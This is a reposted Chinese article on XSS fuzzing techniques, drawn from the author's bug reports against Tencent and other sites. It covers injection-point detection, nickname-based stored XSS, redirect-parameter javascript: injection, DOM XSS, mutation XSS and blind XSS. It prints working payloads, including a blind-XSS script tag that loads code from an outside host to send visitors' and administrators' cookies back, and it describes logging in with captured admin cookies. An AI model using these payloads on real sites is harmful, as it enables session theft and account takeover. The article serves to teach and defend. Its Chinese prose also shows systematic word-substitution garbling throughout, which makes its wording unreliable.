跨站的艺术-XSS Fuzzing 的技巧

对于XSS的漏洞挖掘过程，其实就是一个使用Payload不断测试和调整再测试的过程，这个过程咱们把它叫作Fuzzing；一样是Fuzzing，有些人挖洞比较高效，有些人却不那么容易挖出漏洞，除了掌握的技术以外，好比编码的绕过处理等，还包含一些技巧性的东西，掌握一些技巧和规律，可使得挖洞会更加从容。

XSS应该是我挖过的最多漏洞的一种Web漏洞类型，累积下来，就国内BAT、金山、新浪、网易等这些互联网公司的XSS，应该至少也有超过100个，这篇文章主要就是根据本身的一些经验与你们一块儿探讨编码绕过、处理等技术因素以外的XSS Fuzzing的一些技巧。

Fuzzing（模糊测试）是挖掘漏洞最经常使用的手段之一，不止是XSS，应该能够说Fuzzing能够用于大部分类型的漏洞挖掘。通俗能够把这种方式理解为不断尝试的过程。

XSS的Fuzzing流程

 

这是一个比较常规的Web漏扫中XSS检测插件的一个流程图，其中比较关键的几个点在于：

1. 检测输入点
2. 潜在注入点检测
3. 生成Payload
4. Payload攻击验证

检测输入点其实就是寻找数据入口，好比说GET/POST数据，或者Header头部里的UA/Referer/Cookie，再或者URL路径等等，这些均可以成为输入入口，转换为比较形象点的说法，好比看到一个搜索框，你可能会在搜索框里提交关键词进行搜索，那么这里可能就发生了一个GET或者POST请求，这里其实就是一个输入点。

其次是潜在注入点检测，潜在注入的检测是判断输入点是否能够成功把数据注入到页面内容，对于提交数据内容可是不输出到页面的输入点是没有必要进行Fuzzing的，由于即便能够提交攻击代码，也不会产生XSS；在潜在注入点的检测一般使用的是一个随机字符串，好比随机6位数字，再判断这6位数字是否返回输出在页面，以此来进行判断。为何不直接使用Payload进行判断呢？由于Payload里包含了攻击代码，一般不少应用都有防火墙或者过滤机制，Payload中的关键词会被拦截致使提交失败或者不会返回输出在页面，但这种状况不表明不能XSS，由于有可能只是Payload不够好，没有绕过过滤或者其余安全机制，因此采用无害的随机数字字符就能够避免这种状况产生，先验证可注入，再调整Payload去绕过过滤；而随机的目的在于不但愿固定字符成为XSS防护黑名单里的关键词。

再者就是生成Payload和进行攻击验证的过程，Payload的好坏决定了攻击是否能够成功；而对于不一样状况的注入点，须要使用的Payload也是不一样的，好比，注入的位置在标签属性中仍是标签事件中，使用的Payload是不一样的；

标签属性中：如<a href="注入位置">test</a>，Payload："></a><script>alert(0)</script><a  href="
标签事件中：<img href="a.jpg" onload="注入位置">, Payload：alert(0)

其实Payload的生成就是一个不断Fuzzing和不断调整的过程，根据注入位置上下文代码的结构、内容以及应用过滤机制等不断调整和不断提交测试的过程，下图是一个Payload的生成流程。

那么假如某次Payload调整后Fuzzing成功，也就意味XSS注入成功，并得出这个漏洞的PoC。

其实为何一开始就介绍下扫描器常规的XSS检测方式呢？由于手工Fuzzing XSS其实也是这样一个过程，不少安全工具其实就是将手工的过程自动化。

接下来进入正题咱们一块儿探讨一些XSS的挖掘技巧。

不同的昵称

这是一个微信网页版的存储型XSS，注入点是微信昵称的位置（右图），经过访问微信群成员列表能够触发XSS致使弹框。

这是微信某个春节摇一摇活动的XSS（这里是生效了<h1>），经过微信访问活动页面，自动受权后获取微信昵称并自动显示在活动页面，当时微信昵称是：<h1>张祖优(Fooying)";alert(0)//，因为<h1>生效，致使昵称显示变大。

这仍然是腾讯某个产品的活动页面，也是经过微信点击自动获取昵称而后在活动页面显示，这个截图的页面连接实际是：http://tdf.qq.com/mobile/index2.html?name=<a href="http://www.fooying.com">点击抽奖</a>&type=share&from=timeline&isappinstalled=1（至关于当时个人昵称是：<a href="http://www.fooying.com">点击抽奖</a>）

这也是一个微信网页版存储型XSS，注入点一样是在昵称，经过访问通信录能够触发XSS，触发的昵称大概是：<img src=0 onerror=alert(5)>。

看了几个漏洞，再给你们看看我以前的QQ昵称和微信昵称：

 

其中右图的昵称是<h1>张祖优(Fooying)";alert(0)//。

看了上面的例子，我想你们已经能够发现，前面的几个XSS其实都是基本经过昵称的位置提交攻击代码致使了XSS的产生，这其实就是一种XSS被动挖掘的技巧。其实漏洞挖掘，特别是XSS，有时候是靠主动挖掘，但更多的时候也能够经过被动的方式发现，特别是相似QQ、微信这种一号多用的状况，能够想象你的微信昵称、QQ昵称或者签名等，在不一样的应用、网页中登陆，你的昵称就会在不一样的地方显示，这些昵称在微信、QQ自己不会致使问题的产生，但到了其余页面呢？也许就会致使问题的产生。

固然，如今微信应不容许设置含有特殊字符的昵称了，而QQ你们也能够看到，对尖括号进行了转义，不过在这以前，单单就微信昵称，经过这种方式，我起码发现了腾讯以及非腾讯的各类朋友圈中的活动的不下于二十个XSS。

网址跳转中的规律

这是一个13年提交的腾讯云登陆跳转的XSS。

前一段时间雷锋网有对我作了一个采访，这篇文章也发在KM上，不知道你们有没有看到其中有一个细节，讲的是我为了哄女友开心，而后挖洞收集公仔，当时其实我是在两天内挖洞十几个洞，而且都是XSS。可能你们就会好奇为何能一会儿挖洞那么多的洞，仍是不一样厂商的，我如今能记得的有YY、439九、搜狐畅游等，实际上是当时找到一个规律，上图中腾讯云的这个XSS也属于这个规律，因此就专门提出来。

登陆和注册是大部分网站的必备功能，而不知道你们有没有注意到一个细节，当你在未登陆状态下访问一些须要须要登陆态的页面，好比我的中心，他会自动跳转到登陆或者注册页面要求你登陆，而后这个时候的登陆URL其实会带有一个跳转URL，这是为了方便你登陆后直接跳转到你原来访问的页面，是一个比较好的用户体验的设计。

在使用这样的功能的时候，我直接手上尝试，直接把跳转的URL修改成个人博客连接，而后再登陆，发现能够直接跳转到个人博客，因而我再尝试了javascript%3Aalert(0)，发现JS代码能够直接执行并弹了个框。这个功能的设计其实原来是进行站内的跳转，可是因为功能设计上的缺陷，没有对跳转的URL进行判断或者判断有问题，因而能够致使直接跳转到其余网站或者产生XSS。固然，不止是登陆，注册功能也存在一样问题。当时我去测试了不少网站，发现不少网站就存在这样的问题，因而我才能够作到连续去挖不一样网站的漏洞来收集公仔，就是用了一样的一个问题。

http://www.xxx.com/login?url=xxx
http://www.xxx.com/reg?url=xxx

而总体的测试流程大概是这样的：

#号里的秘密

这是以前腾讯云官网的一个DOM XSS

这是以前微信国外版官网的一处 DOM XSS

这是以前ent.qq.com域下的一个DOM XSS，这里应该是实现一个页面访问来源统计的功能，将referer拼接到URL经过img加载的方式发起GET请求以此向服务端发送访问来源URL，黑客能够构造地址为http://www.0xsafe.com" onerror="alert(0) 的页面点击连接跳转到 http://datalib.ent.qq.com/tv/3362/detail.shtml，就能够触发XSS。

这是比较早提交的一个游戏igame.qq.com的DOM XSS，这处的XSS正好当时保存下JS，以下，读取window.location而后写入到ID为output的标签代码里，因而致使XSS的产生。

<script language="JavaScript">
    document.domain="qq.com";
    function pageLoaded(){
        window.parent.dhtmlHistory.iframeLoaded(window.location);    
        document.getElementById("output").innerHTML = window.location;
    }
</script>

这类XSS都是DOM XSS，DOM XSS不一样于其余类型的XSS，XSS的产生是因为页面中的JS代码在页面渲染完成后经过读取URL等内容修改页面DOM树而产生的XSS。

其实不难能够发现，这类XSS在大部分状况下也是有一些技巧可言的，好比你们能够发现网址中都存在#（DOM XSS不是必定URL得存在#，只是这种状况比较常见）；那么是否是见到网址中存在#就能够随便去修改#后面的内容就Fuzzing一通呢？固然不是，还须要去判断页面的源码中的JS代码以及页面引用的JS文件的代码中是否存在对如下内容的使用，是否存在没有过滤或者过滤不全的状况下将如下的内容直接输入到DOM树里。

document.location/location
document.URL
document.URLUnencoded
deddocument.referrer
window.location

被改变的内容

一旦有存在以上的状况，那么每每存在DOM XSS的几率就比较大，接下来就是看看能不能绕过相关的过滤和安全机制的处理。

这是以前挖的一个存在于之前PC 版本QQ的网页预览功能的一个XSS；经过在聊天窗口分享文章，而后点击连接会在右侧打开页面显示文章的内容，会致使XSS的产生。

为何在客户端里也会存在XSS?其实不少客户端，包括如今不少手机APP，不少功能都是经过内嵌网页进行实现的，因而也就为何会存在XSS等前端问题。这些网页能够经过设置代理的方式来发现。

这是一篇发表在博客园的文章，文章里包含一些XSS的攻击代码，可是能够发现代码在博客园自己已经被进行了转义，无法产生XSS。

而文章被在QQ中预览的时候，能够发现，被转义的攻击代码又转义了回来（由于这个功能须要只显示文本内容，而删除一些不必的页面框架、内容的显示，全部对内容有作了一些转码等操做），致使的攻击代码的生效，并由此产生了XSS（其实这类XSS叫作mXSS，突变型XSS）。

这是一篇发表在微信公众号的文章，文章中包含了一些XSS盲打（后面会进行介绍）的攻击代码，而后能够看到，在微信公众号文章里代码被进行了转义，而没法生效产生XSS。

chuansong.me是一个第三方网站，会主动采集微信公众号上的一些文章并生成访问连接和索引，能够看到一样的一篇文章在被传送门采集转载后，原本会被转义的代码直接生效了，因而就成为了存储型XSS，咱们经过盲打平台也能够看到其余用户访问这篇文章而被采集并发送到盲打平台的Cookie。

有的时候，被转义的内容也会成为生效的攻击代码，经过控制源头的方式也可使得XSS的攻击产生。

随手进行的XSS盲打

这是我XSS盲打平台项目的其中一页结果截图，这里的每一项都包含对应网址访问用户的Cookie，而Cookie则能够用来直接登陆对应的地址；在图里包含了360 soso、360游戏客服、新浪邮箱等几个网站的后台的Cookie，不过惋惜的是，因为这些平台进行了访问限制，因此外网没法访问，也没法登陆。

抛开没法访问的问题，那么这些信息是怎么得来了呢？XSS盲打。

常规的XSS攻击是经过页面返回内容中JS攻击代码的生效与否来判断XSS的攻击是否成功；而对于一些网页功能，好比反馈，咱们能够发现，无论你提交什么内容，返回的内容都是"感谢您的反馈"相似的语句，并不会根据你提交的内容而在页面中显示不一样的内容，对于这样的内容提交点，就没法经过页面反馈判断攻击代码是否注入成功，那么就能够经过XSS盲打。

XSS盲打通常经过XSS盲打平台，在XSS盲打平台创建项目，会生成项目攻击连接，实际上就是一个相似JS文件的访问连接，这个JS文件中其中至少包含一个功能，那就是向盲打平台发送GET/POST请求传输数据回来，好比Cookie，这样的话，相似在反馈页面提交的攻击代码一旦生效，就等于JS代码被执行，那么就会向盲打平台返回数据，那就说明攻击成功了；假如一直没有返回数据，那就说明提交的攻击代码没有执行或者执行出问题，也就证实攻击失败。

盲打平台的项目：

对于我而言，看到相似下图这样一个内容提交的地方，我都会忍不住提交盲打代码

</textarea>'"><script src=http://t.cn/R6qRcps></script>

而相似于这样的功能，若是存在XSS，通常会在什么地方何时出发攻击代码呢？管理人员在后台审核这些内容的时候，因此说通常XSS盲打若是成功，每每能够得到对应功能管理后台的地址以及管理员的Cookie，假如管理后台没有作访问的限制，就能用对应管理员的Cookie登陆上去。

这就是上图手游客服中心盲打成功获得的后台地址和Cookie（当前已失效并修复）。

总结

在XSS的世界里有不少的Fuzzing技巧和方式，学会从正常功能中发现攻击方式，在Web安全的世界里，除了技术，还须要猥琐的思惟和技巧。

另外，其实你们不难发现，无论是昵称、网址跳转或者是文章提到的内容转义的变化也好，不少时候内容原有的地方并不会触发XSS，而内容在其余地方使用后则就触发了XSS，因此对于开发人员来讲，无论是来自哪里的内容，都应该有本身的过滤机制，而不能彻底的信任，其实总结一句话就是：任何的输入都是有害的！

本文转载自腾云阁，已得到做者受权。